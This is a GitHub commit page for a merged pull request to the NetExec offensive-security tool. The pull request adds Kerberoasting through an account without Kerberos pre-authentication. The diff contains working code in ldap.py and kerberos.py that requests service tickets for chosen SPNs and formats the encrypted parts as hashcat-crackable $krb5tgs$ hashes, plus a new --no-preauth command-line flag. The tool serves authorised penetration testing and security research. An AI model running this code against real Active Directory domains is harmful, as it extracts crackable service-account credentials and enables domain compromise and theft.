Skip to content

Commit 4d0f950

Browse files
authored
Merge pull request Pennyw0rth#719 from azoxlpf/feat/kerberoast-no-preauth
Add Kerberoasting support with no-preauth user
2 parents 4f8587f + 203f532 commit 4d0f950

4 files changed

Lines changed: 105 additions & 3 deletions

File tree

nxc/connection.py

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -136,7 +136,11 @@ def __init__(self, args, db, target):
136136
# Authentication info
137137
self.password = ""
138138
self.username = ""
139-
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey or (hasattr(self.args, "delegate") and self.args.delegate))
139+
self.kerberos = bool(self.args.kerberos or
140+
self.args.use_kcache or
141+
self.args.aesKey or
142+
(hasattr(self.args, "delegate") and self.args.delegate) or
143+
(hasattr(self.args, "no_preauth") and self.args.no_preauth))
140144
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
141145
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
142146
self.admin_privs = False

nxc/protocols/ldap.py

Lines changed: 46 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -347,7 +347,7 @@ def print_host_info(self):
347347
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({cbt_status}) {ntlm}")
348348

349349
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
350-
self.username = username if not self.username else self.username # With ccache we get the username from the ticket
350+
self.username = username if not self.args.use_kcache else self.username # With ccache we get the username from the ticket
351351
self.password = password
352352
self.domain = domain
353353
self.kdcHost = kdcHost
@@ -413,7 +413,11 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="",
413413
f"{domain}\\{self.username}{' account vulnerable to asreproast attack'} {''}",
414414
color="yellow",
415415
)
416-
return False
416+
# If no preauth is set, we want to be able to execute commands such as --kerberoasting
417+
if self.args.no_preauth: # noqa: SIM103
418+
return True
419+
else:
420+
return False
417421
except SessionError as e:
418422
error, desc = e.getErrorString()
419423
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
@@ -985,6 +989,46 @@ def asreproast(self):
985989
hash_asreproast.write(f"{hash_TGT}\n")
986990

987991
def kerberoasting(self):
992+
if self.args.no_preauth:
993+
usernames = []
994+
for item in self.args.no_preauth:
995+
if os.path.isfile(item):
996+
with open(item, encoding="utf-8") as f:
997+
usernames.extend(line.strip() for line in f if line.strip())
998+
else:
999+
usernames.append(item.strip())
1000+
1001+
skipped = []
1002+
hashes = []
1003+
1004+
for spn in usernames:
1005+
base_name = spn.split("/", 1)[0].split("@", 1)[0].rstrip()
1006+
1007+
if base_name.lower() == "krbtgt" or base_name.endswith("$"):
1008+
skipped.append(base_name)
1009+
continue
1010+
1011+
if not self.username:
1012+
self.logger.fail("Likely executed without password flag. Please run the command with -p ''")
1013+
return
1014+
hashline = KerberosAttacks(self).get_tgs_no_preauth(self.username, spn)
1015+
if hashline:
1016+
hashes.append(hashline)
1017+
1018+
if skipped:
1019+
self.logger.display(f"Skipping account: {', '.join(skipped)}")
1020+
if hashes:
1021+
self.logger.display(f"Total of records returned {len(hashes)}")
1022+
else:
1023+
self.logger.highlight("No entries found!")
1024+
1025+
for line in hashes:
1026+
self.logger.highlight(line)
1027+
if self.args.kerberoasting:
1028+
with open(self.args.kerberoasting, "a+", encoding="utf-8") as f:
1029+
f.write(line + "\n")
1030+
return
1031+
9881032
# Building the search filter
9891033
searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))"
9901034
attributes = [

nxc/protocols/ldap/kerberos.py

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -104,6 +104,37 @@ def output_tgs(self, tgs, old_session_key, session_key, username, spn, fd=None):
104104

105105
return entry
106106

107+
def output_tgs_from_asrep(self, asrep_blob, spn, fd=None):
108+
asrep = decoder.decode(asrep_blob, asn1Spec=AS_REP())[0]
109+
realm = self.domain.upper()
110+
enc = asrep["ticket"]["enc-part"]
111+
etype = enc["etype"]
112+
cipher = enc["cipher"].asOctets()
113+
114+
service = spn.split("/")[0]
115+
spn_fmt = spn.replace(":", "~")
116+
117+
if etype == constants.EncryptionTypes.rc4_hmac.value: # 23
118+
chk = hexlify(cipher[:16]).decode()
119+
data = hexlify(cipher[16:]).decode()
120+
entry = f"$krb5tgs${etype}*{service}${realm}${spn_fmt}*${chk}${data}"
121+
122+
elif etype in (
123+
constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, # 17
124+
constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, # 18
125+
):
126+
chk = hexlify(cipher[-12:]).decode()
127+
data = hexlify(cipher[:-12]).decode()
128+
entry = f"$krb5tgs${etype}${service}${realm}$*{spn_fmt}*${chk}${data}"
129+
130+
else:
131+
self.logger.fail(f"[{spn}] etype {etype} not supported")
132+
return None
133+
134+
if fd:
135+
fd.write(entry + "\n")
136+
return entry
137+
107138
def get_tgt_kerberoasting(self, kcache=None):
108139
if kcache:
109140
if getenv("KRB5CCNAME"):
@@ -178,6 +209,28 @@ def get_tgt_kerberoasting(self, kcache=None):
178209
nxc_logger.debug(f"Final TGT: {tgt_data}")
179210
return tgt_data
180211

212+
def get_tgs_no_preauth(self, no_preauth_user, spn):
213+
no_pre_princ = Principal(no_preauth_user,
214+
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
215+
216+
try:
217+
ticket, _cipher, _old, _sess = getKerberosTGT(
218+
clientName=no_pre_princ,
219+
password="",
220+
domain=self.domain,
221+
lmhash=b"",
222+
nthash=b"",
223+
aesKey="",
224+
kdcHost=self.kdcHost,
225+
serverName=spn,
226+
kerberoast_no_preauth=True
227+
)
228+
except Exception as e:
229+
nxc_logger.debug(f"Unable to retrieve the ticket for {spn} via {no_preauth_user}: {e}")
230+
return None
231+
232+
return self.output_tgs_from_asrep(ticket, spn)
233+
181234
def get_tgt_asroast(self, userName, requestPAC=True):
182235
client_name = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
183236

nxc/protocols/ldap/proto_args.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@ def proto_args(parser, parents):
1313
egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos")
1414
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
1515
egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file")
16+
egroup.add_argument("--no-preauth", nargs=1, dest="no_preauth", help="No-preauth user for AS-REQ Kerberoast (use with -u users/SPNs).")
1617

1718
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain")
1819
vgroup.add_argument("--base-dn", metavar="BASE_DN", dest="base_dn", type=str, default=None, help="base DN for search queries")

0 commit comments

Comments
 (0)